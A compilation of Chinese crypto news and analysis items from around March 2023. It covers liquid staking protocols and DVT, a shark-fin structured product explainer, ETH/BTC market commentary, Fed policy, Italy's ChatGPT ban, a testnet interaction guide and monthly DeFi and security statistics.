LSD 协议竞争角度来看，目前影响各个 LSD 协议发展的因素包括知名度、收益率、资金安全、锚定情况、去中心化程度与组合性等维度，可结合该维度分析目前市场上主流的 LSD 协议之间的异同。 Lido 是目前 TVL 最大的 LSD 协议，是第二名 Rocket pool 的 13 倍。Lido 当前通过白名单机制筛选运营商，保证质押节点的良好运行以免影响收益率或造成资金罚没；同时 Lido 通过执行层复利使得其用户质押年化收益率在抽水 10% 之后维持在 4.5%-5% 这一较高水平上，在目前主流的 LSD 协议中仅次于 Frax，超过 Roceket pool、StakeWise、Anrk 等其他协议。需注意的是 Lido 将于 5 月中旬进行 V2 版本的升级，引入质押路由模块，允许任何人创建质押节点并接入 DVT，旨在保证网络稳定性与安全性的同时提升去中心化程度。 Rocket pool 的独特性在于质押节点无准入许可，任何人都可以通过创建一个 Minipool 成为该网络中的节点运营者；目前节点运营者需要存入 16 ETH（剩余的 16 ETH 来自用户存款）同时还需要最少质押价值 1.6 ETH 的 RPL Token 作为罚没的劣后资金；Rocket pool 目前会向平台上的节点运营者提供 RPL 补贴来激励节点部署。Rocket pool 将在一个月内进行 Atlas 升级，此次升级时 Rocket pool 上线以来最重要的一次升级，对其业务发展也将产生重大影响，升级的主要内容为：1、LEB16 — — LEB8：将节点运营者需最少质押 16 枚 ETH 降低为 8 枚，该举将大大改善目前 Rocket pool 拓展性受制于节点端的情况，假设节点运营商的 ETH 总量不变，理论上这一改进可以使得协议 TVL 翻倍，存款容量翻 3 倍，节点端的可拓展性打开以后，动态存款池的存款数量将成为观察 Rocket pool TVL 增长的先行指标； 2、节点激励进一步增加，排除 RPL 激励，LEB8 的节点奖励会比 LEB16 高 25%；3、推出工具使得 Solo Staker 不需要退出验证器完成迁移至 Rocket pool 平台；4、优化动态存款池，当 minipool 队列所需 ETH 超过 5000 个 ETH 上限时，存款池的上限也将随之增高。 Frax Ether 的特点在于其目前的高质押收益率。sfrxETH 之前的质押收益率维持在 7%～10%，原因在于 Frax 构建了 frxETH 与 sfrxETH 的双币模型，frxETH 与 ETH 在 Curve 组 LP 利用 Frax 本身的 CRV 治理资源获取 CRV 收益，而将所有的质押收益都分配给 sfrxETH；从整体上来看，Frax Ether 系统区别于其他流动性质押产品的高收益率来源于其多了一层 CRV 的奖励；该 CRV 奖励对于整体系统的收益增厚取决于 frxETH/ETH gauge pool 的占比、Frax Ether 系统的 TVL、CRV/ETH 的比价等因素。按目前情况测算，当 Frax Ether 的质押量达到 20 万枚 ETH 之时，sfrxETH 的质押收益将下降到 6% 左右。 上述三个主流 LSD 协议开辟了三种主要的 ETH 质押模式，其余的小型 LSD 协议主要针对上述三大协议的一些用户痛点进行改善与微调。如 Stafi 与 Stader 针对目前 Rocket pool 节点运营商需质押 16ETH，资金利用效率低与运营商被迫增加 RPL 风险敞口这一问题进行改进，其二者仅要求节点运营商质押 4 枚 ETH，同时为节点运营商提供不增加协议代币风险敞口的解决方案。但需要注意的是盲目降低节点运营商质押 ETH 的比例有可能会增大用户资金损失的风险，且与 Rocket pool 不同，目前 Stafi 面临用户资金端的增长压力。 图表 5： 3 大 LSD 协议比较 来源： LDCapital 目前从协议估值角度来看，无论是 FDV/Revenue 还是 FDV/TVL，Lido 都处于一个相对较低的水平，但 LDO 目前仅有治理权而 RPL 和 FXS 都有相应的代币赋能，应该享受相应的估值溢价。 Frax 目前持有约 350 万枚 CVX，是 CVXDAO 中最大的持有者 图表 6： 不同 LSD 协议的估值对比 来源： LD Capital，Token Terminal 3、DVT 产品将成为以太坊质押的重要基础设施 去中心化与安全保证是以太坊的精神内核，在此基础上分布式验证技术（DVT）应运而生。当前各种以太坊质押解决方案都面临去中心化与节点稳定运营的矛盾。以 Lido 与 Rocket pool 为代表，Lido 为了保证用户资金不会因为节点掉线、故障等原因招致损失，当前采用白名单的形式筛选合格运营商来保证出块的有效性、资金的可追溯与安全性，而这使得 Lido 目前存在中心化的问题；Rocket pool 通过节点与用户共同质押的方式绑定两者利益并通过节点抵押 RPL 做罚没劣后资金的形式进一步保证用户的资金安全，但这无疑提高了 Rocket pool 平台上运营节点的成本。目前 Rocket pool 通过使用 RPL 激励节点的方式来平衡，但这无疑增加了协议支出，也限制了协议的可拓展性。 而 DVT 产品通过碎片化验证私钥与领导节点轮换等技术解决方案使一个运营商与节点从一对一的状态变为多对一的状态，从底层网络架构的角度提升系统的安全性与鲁棒性同时允许更高的去中心化程度。 具体原理如下： DVT 由 4 个关键部分组成，分布式密钥生成 DKG、BLS 签名的 Shamir 密钥共享、多方安全计算和 IBFT 共识层，具体如下： 分布式密钥生成 DKG 是实现 DVT 的第一步，其作用是将一份验证者私碎片化成 3n+1 份，多份碎片化私钥对应多个运营商；DKG 技术是实现 DTV 产品的基石。BLS 签名的私钥共享与 DKG 互补，其目的是实现多方聚合签名，即能够将区块碎片化的签名组合成单个签名，因为 DKG 使得私钥碎片被多方持有，那么需要签名时则将多人的签名聚合为一个签名，碎片化私钥与多方聚合签名构成整个 DVT 产品的骨架。多方安全计算 (MPC) 的作用是将拆分的密钥安全地分配到各个节点之间，以执行验证者职责完成对网络信息的验证，而无需在单个设备上重建验证者密钥，消除了在计算期间集中私钥的风险。伊斯坦布尔拜占庭共识 IBFT 将在 DVT 节点中随机选择一个验证器作为领导节点，负责区块提议并等工作，如果单个集群中大多数节点同意该块有效，则将其添加到区块链中；如果领导节点离线，算法将在 12 秒内将重新选择领导节点以保证系统的稳定性。 总结来讲，DVT 通过 DKG 碎片化验证密钥分配给不同运营商，通过 BLS 私钥共享实现多方聚合签名，同时利用多方安全计算保障数据安全，最后通过 IBFT 领导节点轮换保证节点不会恶意出块或者因掉线影响整体收益，最终做到将一个验证者节点交由多个运营商运行，而非当前行业标准的单独运营，从而大大提升整体系统的鲁棒性。 SSV Network 构建了一个基于 DVT 的运营商网络，是 DVT 赛道中开发进展最快的产品，曾获以太坊基金会 18.8 万美元捐款与 Lido 10 万美元 LDO 捐赠。SSV Network 是目前唯一发币的标的，其 Token SSV 的主要用途为网络的支付手段与治理凭证。质押者在 SSV 网络参与质押需要向节点运营商支付运营费用，具体费用由各个运营商基于运营成本与市场竞争情况上决定；同时运营商目前需要支付其网络收入的 1/4 给 SSV 国库（收费标准由 DAO 决定），上述支付环节均需使用 SSV 代币。SSV 拟于 3 月 30 日召开社区会议讨论主网上线时间。 Obol Labs 致力于构建一个质押中间件 Charon，使得任意节点可以参与到 DV 集群的分布式验证器运行中。Obol 同样曾获得 Lido DAO 提供的 10 万美元 LDO 代币捐赠，并完成了由 Pantera Capital 与 Archetype 共同领投，Coinbase、Nascent、Block Tower 等机构参投的 1250 万美元 A 轮融资。开发进度方面，Obol 目前处于 Bia 公共测试网阶段，预计今年 6 月开启 Circe 测试网，之后完成主网上线；在开发进度上看其稍落后于 SSV。 Diva 是 DVT 赛道的新产品，目前完成了由 A&T Capital 领投，Gnosis、Bankless、OKX 等机构参投的 350 万美元种子轮融资，其将结合 LSD 与 DVT 两种模式，打造流动性质押与分布式验证一站式产品。 上海升级之后信标链上质押的以太坊可以提款，用户参与质押的意愿增强推动质押率的上升，带来 lsdETH 这一生息资产规模的扩大。故未来除了可能会出现越来越多的流动性质押协议，围绕 lsdETH 这一资产的 Defi 产品也将迎来全新的成长曲线。 去中心化交易所：lsdETH 的流动性构建是 lsd 协议最重要的一环，lsdETH/ETH 作为类似资产，其构建流动性的最佳选择当属 Curve 及其类似产品，如未来出现越来越多的 lsd 协议，围绕不同类型 lsdETH 流动性构建的问题可能会引发新一轮的 Curve war。需要指出的是目前在 Balancer 生态构建流动性的成本相较于 Curve 更低，同时由于 Balancer 的基本盘更小，故从边际变化的角度来看，lsdETH 的繁荣对 Balancer 生态的影响会高于 Curve（相关协议 Aura、Convex、Balancer、Curve）。 借贷协议：市场对使用 lsdETH 加杠杆的需求将会推动基于这一资产类别的借贷业务。目前存在两种主要的加杠杆需求：一是循环贷做收益增强，该业务目前以 AAVE 为代表，抵押 stETH 借出 ETH，最大 LTV90%，不考虑中间费用最大可上 10 倍杠杆；但该模式存在 ETH 借出利率偏高的问题（上海升级后 AAVE ETH 存款池的利率可能会和 ETH Staking 的利率搬平，这将使得 AAVE 中 ETH 的借款利率高于 Staking 利率，使得目前循环贷的需求消失），核心原因在于 ETH 的借款利率需要覆盖存款人的存款成本；未来可能以 CDP 的形式铸造锚定 ETH 的稳定币，通过更高效的流动性成本代替用户的存款成本，增强协议间可组合性的同时更好的满足用户加杠杆增强收益的需求（相关协议 AAVE、Compound）。二是抵押 lsdETH 借出稳定币以增加投资组合整体的风险敞口，亦可通过正常借贷和 CDP 两种模式运行（相关协议 Fraxlend、MakerDao）。 本息分离等衍生品：lsdETH 作为一种浮动收益率的生息资产，围绕其可催生本息分离与利率互换等金融衍生品。本息分离产品可以实现做空未来收益率（卖出利息代币买入本金代币，低杠杆倍率，通常用于提前锁定收益），做多未来收益率（卖出本金代币买入利息代币，高杠杆倍率，通常满足投机需求）与收益增强。在 LSD 爆发之前，本息分离等衍生品的底层生息资产主要集中在稳定币的 LP，由于该部分资产规模相较于 lsdETH 小，且收益率相较于 lsdETH 低，还存在流动性分割的问题，故 lsdETH 这一资产的起量将极大程度的推动本息分离产品的业务发展（相关协议 Pendle、Element、Sense）。 再质押：再质押的概念由 Eigenlayer 提出。Eigenlayer 是一个在基础客户端修改以太坊的协议，允许验证者重新抵押他们的 ETH 权益并行验证其他协议，例如预言机和数据可用性模块。需要注意的是，Eigenlayer 赋予 staked ETH 第二重收益率但牺牲了部分代币的流动性同时需要用户承担额外的 AVS（Actively validated services）安全性，增加了一层 Restaked ETH 的罚没风险。 图表 7： 基于 lsdETH 的下游产品一览 来源： LDCapital  ( 7 min )
    币安发布内置于应用程序的DeFi钱包，支持无助记词使用
    PANews 3月31日消息，币安推出由其 ID 提供支持、直接内置于币安应用程序并使用 MPC 技术保护的 DeFi 钱包，支持从 CeFi 到 DeFi 转账、跨链、钱包恢复、无需助记词。目前，该钱包支持 BNB Chain 与以太坊，将支持更多链。此外，该钱包还嵌入币安 ID、生物识别身份验证、钱包连接支持与 SBT 等高级功能。  ( 1 min )
    鲨鱼鳍理财科普：揭秘CEX理财“保本保收益”的背后真相
    原文：《保本保收益？——鲨鱼鳍理财科普》 很多中心化交易所都有推出自己的鲨鱼鳍理财产品，产品的收益率曲线像一个鲨鱼鳍，因此得名鲨鱼鳍理财，其特点是在保本保收益的基础上在标的价格区间内给理财产品购买者提供了更高的收益。 这篇文章的主要目的是为了科普鲨鱼鳍理财背后的金融逻辑，以及让用户明白鲨鱼鳍理财的收益来源，以及交易所又如何通过鲨鱼鳍理财获得收益。 我一直很喜欢一句话“如果你不知道收益的来源是什么，那么你就是收益来源。”。 如果你曾经购买过鲨鱼鳍理财，或者打算购买鲨鱼鳍理财，这篇文章值得你仔细阅读 二、什么是鲨鱼鳍理财 大多数用户在中心化交易所（CEX）看到的鲨鱼鳍理财，其本质都是由一个固定收理财 + 鲨鱼鳍期权组成。 鲨鱼鳍期权又称为敲出期权（knock-out options），属于障碍期权 (barrier options) 的一种。期权合约会事先设置好标的资产的价格区间，如果在合约约定的时间范围内，标的资产价格始终处于该区间中，这个期权就是一个普通的看涨或看跌期权；一旦标的资产价格跳出了该区间，该期权将自动敲出作废敲出期权根据大家的多空方向不同，又可以分为向上 / 向下敲出 + 看跌 / 看涨期权。其背后的逻辑是一样的，因此下面我们就以向上敲出看涨期权为例来介绍。 如下图所示，是一份向上敲出看涨期权的收益与标的价格关系图。横坐标为标的资产价格，纵坐标为这份期权的收益。 这份看涨期权的行权价格为 X，敲出价格为 Y，标的资产价格为 S，期权的价格为 C。 假设这是一份欧式看涨期权（只有到期日才能行权）， 如果到期日的标的资产价格未超过 Y。 如果 S>X, 则收益为 S-X-C，最大收益为 Y-X-C 如果 S 如果到期日标的资产价格超过 Y，则期权被敲出， S>Y, 则收益为 -C 也就是说，当你购入你一份向上敲出鲨鱼鳍期权，在期权到期日如果标的资产价格在[X+C,Y] 之间，你是能获利的，在此区间外你会承受购买期权费的损失。 看到这你可能会有疑问，明明你购买的交易所鲨鱼鳍理财都是保本的，最坏的情况也不会亏，怎么跟上面说的不太一致。所以这里就要引入另一个概念，固定收益产品。 传统概念中的固定收益产品可以理解为将大部分资金（80% 以上）投入债券、大额存单、信托资管计划等标的的理财产品。风险较低，收益也相对较小。如果投资的标的是国债等资产，就可以理解为无风险的保本理财。比如你现在去买期限为一年的美国国债，你的保本无风险收益大概是 4.6%（现在明白加息的威力了吧）。 而对于中心化交易所来说，他们的选择就更多了，不论是自身交易所提供的杠杆借贷业务还是去链上 DEFI 应用中寻找风险较低的收益策略，都能获得不错的低风险收益（肯定比国债高得多） 用户购买鲨鱼鳍理财的大部分资金会被用于投资固定收益类产品，这部分收益的产品能够覆盖鲨鱼鳍期权的购买成本并且提供不错的“保底”收益。 当购买的用户多了，就有了规模效应，简单理解就是你拿着一万元去银行存定期可能只能有 2.5% 的年化收益率，但是如果你有一个亿你去找银行谈，银行可能可以给你 5% 的收益率。这也是为什么你发现有时候鲨鱼鳍理财提供的保底收益比你自己找到的还要多。规模效应是原因之一，当然还有其他更多诸如加杠杆等其他原因，这里就不深入了。 了解了基础知识，下面以一个模拟的案例为例，为你测算购买鲨鱼鳍理财后，你的收益以及中心化交易所的收益分别是如何构成的，看完后相信你能对这个理财产品有更充分的认识。 下图为某交易所提供的理财产品 从产品介绍中你能看出，这个收益图很像是一份带了敲入和敲出价格的看涨鲨鱼鳍期权。当结算日 BTC 价格在 26300-28300 之间时你能获得的收益在 5.02%-19.0% 之间。如果价格在此区间之外，那么你的收益是 5%。 下面会模拟一个用户购买鲨鱼鳍理财后，交易所构建理财底层资产的过程，因为无法得知交易所背后具体的投资标的，因此只能从市场上找相关类似的投资标的来进行模拟，最后得出的各方收益不代表真实结果。 假设用户买入 100,000U 的鲨鱼鳍理财，交易所会把这 100,000U 分成两部分，一部分进行固定收益投资，此部分构成了鲨鱼鳍理财的保底部分，一部分去构建一个期权组合，这部分构成了鲨鱼鳍的鳍状部分。 1、投资者角度 如果到期日 BTC 价格低于 26300 或者高于 28300，用户的年化收益率都是 5%，也就是说用户可以收到的钱是 100,000*(1+5%*7⁄365)=100,095.89 元 如果到期日 BTC 价格在区间范围内，假设为 27300，那么用户的收益为 100000*（1+12%*7/365）=100230.3288U 2、交易所角度 对于投资者来说，不论什么情况，都是赚钱的，只是赚多赚少的问题。但是交易所不是慈善机构，交易所也一定是赚钱的，下面来看看交易所怎么赚钱。 前面说了，交易所会拿投资者的大部分资金投资于固定收益类产品，少部分钱去买鲨鱼鳍期权。加密货币行业目前我没有发现哪里有公开渠道在卖鲨鱼鳍期权，所以大多数交易所要么是自己在卖鲨鱼鳍期权，或者是用市场上现有的产品去构造 (Synthetic Options)（这部分我不是 100% 确定，有交易所的朋友欢迎指正）。 交易所赚钱有两个关键点： • 足够高的固定收益 • 最精确的鲨鱼鳍期权定价 因为鲨鱼鳍理财要保底，所以必须保证固定收益部分的收益要大于购买或构造鲨鱼鳍期权的成本。 固定收益部分比较好解决，我们假设交易所手上的 U 的年化收益有 10%（相对低风险，愿意承受高风险的话收益率可以更高，这里我们假设交易所还是稳健风格为主） 鲨鱼鳍期权的价格计算方式大概有三种： • 公式计算 • 蒙特卡洛模拟 • 用其他期权构造 公式计算和蒙特卡洛模拟相对复杂，我可以放一个计算公式的截图，你看完就不想再了解了，下图是向上敲出看涨期权的期权定价公式： 重点说说 (Synthetic Options) 期权构造的方式，因为我暂时没想到什么方法用香草期权完美复制鲨鱼鳍期权的方法，所以这里用一种近似模拟的方式用香草期权来模拟鲨鱼鳍期权，这也是最不精确的一种方式，但今天的目的是科普，而不是学术讨论，大家明白大概意思就行。 还是以我们上面假设的案例为例，交易所可以通过普通的看涨期权来模拟出最终收益曲线与鲨鱼鳍期权近似的产品。交易所可以买入一份行权价为 26300 的看涨期权，再卖出两份行权价为 28300 的看涨期权。以此来模拟一份鲨鱼鳍期权。以 Bybit 提供的期权价格为例，上面这个模拟鲨鱼鳍看涨期权的价格约为 1570-2*584=402U。当市场波动率处于正常水平时这个模拟产品的价格会高于真正的鲨鱼鳍期权，所以大概率交易所构造这个期权的成本会更低。 前置科普工作完成，下面我们都来当一次交易所，帮投资者构造一个鲨鱼鳍产品。 交易所拿到用户前面投资的 100,000U 之后，可以拿出其中的 92.46U 去购买 0.23 个我们前面构造的模拟鲨鱼鳍期权。剩下的 99,907.54U 拿去投资 DEFI 固定收益类产品，年化收益为 10%。 来看看 7 天，产品到期后会发生什么 情景一 如果到期日 BTC 价格低于 26300，投资者可以得到100,095.89U。交易所通过投资这 100,000 得到的钱为 固定收益部分：99907.54*（1+10%/365*7）=100,099.14U， 鲨鱼鳍期权部分：0U 这种情况最终交易所赚了 4U。 情景二 如果到期日 BTC 价格为 27300，投资者可以得到100230.33U。交易所通过投资这 100,000 得到的钱为 固定收益部分 99907.54*（1+10%/365*7）=100,099.14U 鲨鱼鳍期权部分：0.23*（27300-26300）=230U 这种情况最终交易所赚了99.47U。 情景三 如果到期日 BTC 价格为 29000U，投资者可以得到100,095.89U。交易所通过投资者 100,000 得到的钱为 固定收益部分 99907.54*（1+10%/365*7）=100,099.14U 鲨鱼鳍期权部分：0.23*（28300-26300）-0.23*（29000-28300）=299U 这种情况最终交易所赚了302.25U 至此，交易所通过固定收益 + 期权的方式实现了在不同情形下都赚钱的策略。 总的来说，鲨鱼鳍理财的实质就是投资者购买了固定收益理财 + 鲨鱼鳍期权。而 *对于交易所来说，是否能够赚钱以及赚钱的本质其实来源于交易所是否能够找到尽可能低风险但是高收益的 DeFi 收益产品，以及是否能够以足够低的价格或者成本构造出鲨鱼鳍期权。因为前面我们假设交易所能以 10% 的收益率进行 USDT 的固定理财投资，但如果这个收益率下降为 5%。那么上述的几种情况交易所是会亏钱的。 回到我最初说的一句话“如果你不知道收益的来源是什么，那么你就是收益来源” ,看到这聪明的朋友已经发现了，其实鲨鱼鳍理财并不是 100% 的保本。你可以想象一下交易所如果为了获取较高的固定收益，把你的 USDT 换成了 UST，投入了 Terra，换取年化 20% 的收益，之后会发生什么。这种时候，有良心，想持续经营的交易所会选择自己垫钱，刚性兑付，那还能实现保本。但更有可能的情况是什么，大家这两年应该也看到了。 最后的最后，其实明白鲨鱼鳍理财的原理并不能让你赚的更多，就像我看似挺懂原理的，但交易所也不会因为我更懂就给我更高的收益率。 但我认为我们应该为自己做的每一笔投资负责，了解底层逻辑不是为了赚的更多，而是为了当有一天有人拿着一个很吸引人的理财产品摆到你面前时，你能很快的反应出其中的风险点，避免上当受骗。 愿人人会两袖青蛇，愿人人可剑开天门  ( 2 min )
    ETH\BTC汇率处于半年内低位，以太坊会引领强势补涨行情吗？
    原文：《比特币一季度表现远超以太坊，以太坊会补涨吗？》 作者：比推BitpushNews Mary Liu 一季度行情即将接近尾声，比推终端数据显示，以太坊年初至今 (YTD) 上涨了 50.02%，但比特币却飙升了 72.30%，有望创下两年来最佳的季度表现。 自从以太坊近八年前开始交易以来，它与比特币的相关性就一直在增加。根据IntoTheBlock (ITB) 的数据，在 2016 年和 2017 年，比特币与以太坊的 100 天相关性平均为 35%（其中 100% 表示完全相关，-100% 表示完全逆相关），这一数字在 2018 年跃升至 66%，在 2019 年跃升至 77%，然后在2022年达到 87% 以上。截至发稿时，以太坊与比特币的价格相关性目前为 0.98，处于月度高位。 过去几年，尤其是在 2020 年和 2021 年 Covid-19的加密牛市期间，以太坊相对于比特币的表现是碾压级的。@DanniiAshmore发布的数据显示，自 2020 年 4 月以来，ETH/BTC上涨了 2.53 倍。 因此，与大多数山寨币一样，以太坊在牛市中的表现往往优于比特币，而在熊市中表现不佳。因为在市场情绪低迷时期，投资者更愿意押注较为“稳定”的投资标的，而不是冒险买入山寨币。在 FTX、Celsius、LUNA等项目内爆后，加密市场可能会因为太多的恐惧和不确定性缩减山寨币头寸。 本月初，在美国三家银行倒闭以及美联储启动紧急融资计划以遏制银行业恐慌之后，市场对美联储政策转向的预期有所增强。投资者猜测，以美联储为首的中央银行将放弃激进的加息以应对衰退信号，美股和加密市场因此提振。 比推终端数据显示，自 3 月 8 日硅谷银行事件爆发后，BTC 的表现一直优于 ETH，这表明 BTC 仍然是投资者的首选避险资产，与其他代币相比，比特币是一种更好的多元化投资工具。 作为第一大山寨币，以太坊与比特币的价值主张完全不同。比特币是一种纯粹的去中心化货币系统，兼作价值储存。而以太坊除了作为货币之外拥有了越来越多的用例：数字收藏品、预测市场、元宇宙社区和区块链游戏，加密社区的许多成员认为，以太坊市值最终将超过比特币。 截至发稿时，BTC 和 ETH 之间的市值差异非常大，ETH 的市值为 214,376,317,596 美元，BTC 是 ETH 的两倍多，目前约为 539,661,509,934 美元。 加密交易员 KALEO（@CryptoKaleo）目前对 ETH/BTC 持看跌立场，认为未来几天 ETH/BTC 将继续下跌。KALEO 分析称，BTC 从 3 月 10 日的低点 19,528 美元反弹至 22,000 美元的水平，并在 2022 年 3 月触及 1.6 的斐波那契回撤位，而 ETH 未能达到类似的峰值。接下来，32,000 美元至 33,000 美元是比特币继续上涨需要突破的重要水平。 “交易所储备”指标衡量当前存储在所有中心化交易所钱包中的代币总量，投资者将其持有的资产转移到交易所的主要原因之一是出于出售目的，因此该指标上升可能意味着投资者在减持。 CryptoQuant分析师指出，投资者一直在将比特币存入交易所，但在本月早些时候跌破 20,000 美元时有所下降，这表明在低点附近出现了一些新的买盘。与比特币非常相似，以太坊交易所储备在局部低点附近暴跌，但在最近的反弹期间也呈上升趋势。 然而，流入的速度是不同的。BTC 的流入速度很快，这波涨势中BTC流入交易平台的总数超过了在低谷时流出的数量，而 ETH 的流入速度较为平缓，远未达到近期低点之前的水平。分析师认为，这可能表明以太坊尚未面临与比特币相同强度的抛售压力，即使在BTC涨势结束后，ETH仍可望继续强势上涨。 此外，以太坊 Shapella 硬分叉预计将于 4 月在主网上生效，这一变化将允许之前存入 32 ETH 的验证者部分或全部解锁，潜在的 176 万个 ETH 流入市场或对代币价格不利。但从乐观的角度来看，每日可解除质押的验证器数量有上限，用户还可以在 Lido、Rocket Pool 等去中心化金融 (DeFi) 应用程序之间选择收益机制，因此 Shapella 升级不一定会对市场造成抛压。  ( 2 min )
    视频｜ FTX债权人邮件收到了吗？马斯克呼吁立刻停止训练AI！美国政府竟是比特币巨鲸
    00:00 内容预告 00:35 迪士尼裁撤元宇宙部门 01:11 EigenLabs完成5000万美元融资 01:41 比特小鹿将上市纳斯达克 02:11 美国扣押56亿美元比特币  02:37 马斯克呼吁停止训练AI系统 03:12 美国、韩国要求引渡Do Kwan 03:50 交通、中国、浦发银行考虑加密友好 04:22 SUI推出永久测试网 04:54 FTX向债权人发送邮件  05:40 CFTC起诉币安、CZ  06:20 PARTY AWARD 2023榜单揭晓 06:48 好文推荐 12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓： https://www.panewslab.com/zh/articledetails/ldm8goy2.html 文章推荐： 加密“无间道”，CFTC向币安发难背后或与FTX有染？ https://www.panewslab.com/zh/articledetails/xyf3qitw.html  ( 1 min )
    意大利：即日起禁止使用ChatGPT并限制OpenAI处理意大利用户信息
    PANews 3月31日消息，据金十报道，意大利数据保护机构对OpenAI公司非法收集用户信息展开调查。意大利个人数据保护局今天宣布，即日起禁止使用聊天机器人ChatGPT，并限制开发这一平台的美国人工智能公司OpenAI处理意大利用户信息。同时，意大利个人数据保护局指出，本月20日，ChatGPT平台出现了“用户对话数据和付款服务支付信息丢失”的情况。此外，该平台没有就收集处理用户信息进行告知，缺乏大量收集和存储个人信息的法律依据。OpenAI公司“必须在20天内通过其在欧洲的代表向意大利个人数据保护局通报公司执行保护局要求而采取的措施”，否则将被处以最高2千万欧元或公司全球年营业额4%的罚款。  ( 1 min )
    银行业危机已成过去，美联储注意力重回“高通胀”
    来源：华尔街见闻 作者：何浩 美联储官员们在最新讲话中继续强调降低通胀的必要性。周四共有三位美联储高级官员发言，他们的立场与上周美联储主席鲍威尔表态相呼应，也即尽管银行业面临压力，但政策制定者们不会因此不顾恢复价格稳定的责任。 波士顿联储主席Collins表示，美国通胀仍然过高，最近的指标强化了这一观点，即要将通胀率降至2%的目标，还有更多工作要做。 Collins认为，加息25个基点是“适当”的步伐，这样美联储可以将利率提高到足够高，以抑制通胀。 Collins在今年的FOMC会议上不拥有表决权。 明尼阿波利斯联储主席Kashkari指出，银行业压力的持续时间往往比政策制定者们最初预期的要长。但他认为，现在判断银行业危机将对经济产生什么影响还为时过早。 Kashkari强调，美联储还需要关注降低通胀。当前美国通胀过高，而且尽管美联储在过去12个月里进行了一系列激进的加息，但不包括住房的服务业通胀仍然很高。 “经济中服务业部分的通胀尚未放缓，虽然我们想要更高的工资，但工资增长速度快于2%的通胀目标。这说明，要使经济中的服务业恢复平衡，我们还有更多工作要做。” Kashkari曾是2008-2009年时期，美国政府应对金融危机的核心人物。他在今年的FOMC会议上拥有表决权。 里士满联储主席Barkin表示，他准备继续对抗通胀。但他同时表示，鉴于银行业的不确定性及其对更广泛经济的影响，他对美联储下一步利率变动的规模还没有偏好。 “如果通胀持续存在，我们可以通过进一步加息来应对。就在几周前，一些人还呼吁加息50个基点。” 上周，美联储如期加息25个基点，令基准的联邦基金利率升至4.75%-5%目标区间，为2007年9月、即金融危机爆发前夕以来的最高水平。 美联储的决议声明删除了“持续加息适宜”，改为“一些额外的政策紧缩可能是适当的”，被解读为鸽派论调。“点阵图”仍维持今年底利率预期在5.1%不变，或只能再温和加息一次。 美联储在声明中表示，美国银行业健康、有韧性，但警告诸多倒闭事件将拖累经济增长，市场对年内降息的押注升温。 本月早些时候，硅谷银行引发的银行危机一度令部分官员的立场有所软化。美联储主席鲍威尔上周在新闻发布会上透露，在3月FOMC会议开始的前几天，美联储曾考虑过暂停加息，但加息行动得到FOMC成员强有力的一致支持，因为通胀太高。 从美国PMI数据中就可以看到通胀的端倪。上周，标准普尔全球公布的美国3月PMI数据初值显示，3月服务业和制造业PMI回升，其中服务业明显更强劲，但代价是通胀重燃——3月销售价格的调查指标以更快的速度增长。通胀上升是由服务业价格上涨带动的，这在很大程度上与工资增长更快有关。  ( 1 min )
    融资1.2亿美元EVM新公链5ireChain推出测试网，该如何交互？
    原文：《融资1.2亿美元项目5ireChain测试交互教程》 5ireChain公链项目是一个兼容layer-1 EVM的智能合约平台，目前项目融资1.2亿美元，对于特大高融资项目，那是肯定不能放过的，还有对于总是疑惑做了会不会有空投的，你要明白，这是不一定的，当然我挑选项目的风格经常看我推特的人应该了解，出现在我的推文中是有原因的，不会为了糊弄大家而作，尽量花去的时间有足够大的收获。 在这里不过多对项目本身多做研究性解释，有兴趣可以查资料查资料看看 通过页面提示项，点击下载5ire钱包，这个项目的特别之处钱包处已经显现，需要手动下载钱包文件解压后，拖入chrome扩展程序，完成钱包创建 下载完成后，找到下载未解压的文件夹先完成解压，解压后找到如下文件夹拖入扩展程序 首先点击“管理扩展程序” 将解压的指定文件在“开发者模式”下拖入空白处完成5ire钱包插件扩展 完成以上准备工作后，开始进行钱包地址创建，一定要保存好助记词和私匙，通过点击浏览器页面右顶端“扩展程序”找到5ire钱包 保存好助记词和私匙 注意输入密码时需要大小写字母数字和特殊字符才能创建成功，新的钱包地址创建完成后进入测试网测试 先打开5ire钱包，调换到**“swap”功能，复制native地址** 进入测试网领取测试代币 成功领取测试代币后，进入钱包进行交互点击swap输入适当数量代币完成交互 点击swap交互完成后native地址的代币被发送到evm地址 同样的我们进行“Transfer”转账功能，需要自己重建一个小号或者转给他人，选择对应的native地址或者EVM地址，这样我们就完成了整个交互 完成目前整个交互后，就可以做做crew3任务，5ire在crew3任务挺多，慢慢做。  ( 2 min )
    数据：3月安全事件共造成约2.1亿美元的损失
    PANews 3月31日消息，据欧科云链OKLink安全团队监测，2023年3月安全事件共造成约2.1亿美元损失，与上个月相比，本月安全事件数量和损失金额均有显著上升。其中Euler Finance被黑客攻击，导致1.97亿美元的加密货币被盗，这是今年迄今为止加密货币损失金额最大的一次黑客攻击。 此外，RugPull数量和损失金额也出现了显著增长，社交媒体诈骗等事件仍然屡有发生，例如Twitter项目方账户伪造和官方Discord被攻击发布钓鱼链接等。  ( 1 min )
    PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高
    PANews3月31日消息，本月DeFi市场出现回暖迹象，DEX的交易量有所回升，尤其是衍生品类交易量增长明显。根据DuneAnalytics（@hagaetc）的数据[1]，3月DEX的交易量达到了1288.16亿美元，较去年同比增长了8.69%，较前年同比增长了118.40%。而且仅从今年年内来看，3月DEX的交易量分别较2月环比增长了71.99%，较1月环比增长了112.94%。其中，Uniswap、Curve和Sushiswap是交易量最高的3个市场。 从DEX的细分领域来看，本月衍生品交易量增长明显，不仅首次突破200亿美元，而且为2022年以来单月最高值。根据DuneAnalytics（@shogun）的数据，本月衍生品的交易额约为251.5亿美元，较2月环比增长了48.64%，较1月环比增长了125.16%。其中，GMX是本月交易额最高的市场，约为92.5亿美元，占总额的36.78%。不过，本月的交易地址数并没有创短期新高，只有22.27万个，较2月环比增长了11.80%，较1月则下跌了36.68%。 DEX作为DeFi中的重要细分领域，其交易量的回暖也带动了以太坊上DeFi类交易次数的增长。根据glassnode的统计，3月30日以太坊上DeFi类交易次数占总交易次数的比重（30天均值）约为4.729%，较月内最低点4.389%已回升了约0.5个百分点，与月初水平相当。从图形来看，本月以太坊上DeFi类交易次数占比已经走出了一个平缓的“U”曲线，目前已度过最低点，并开始进入上升趋势。 不过，DeFi市场的回暖趋势还未更直观层面体现为代币价格和锁仓量上涨。根据Messari跟踪的154种DeFi类代币价格数据，最近30天，按市值权重计算的平均价格还下跌了8.74%，不过最近7天，按市值权重计算的平均价格实现了2.99%的增长。 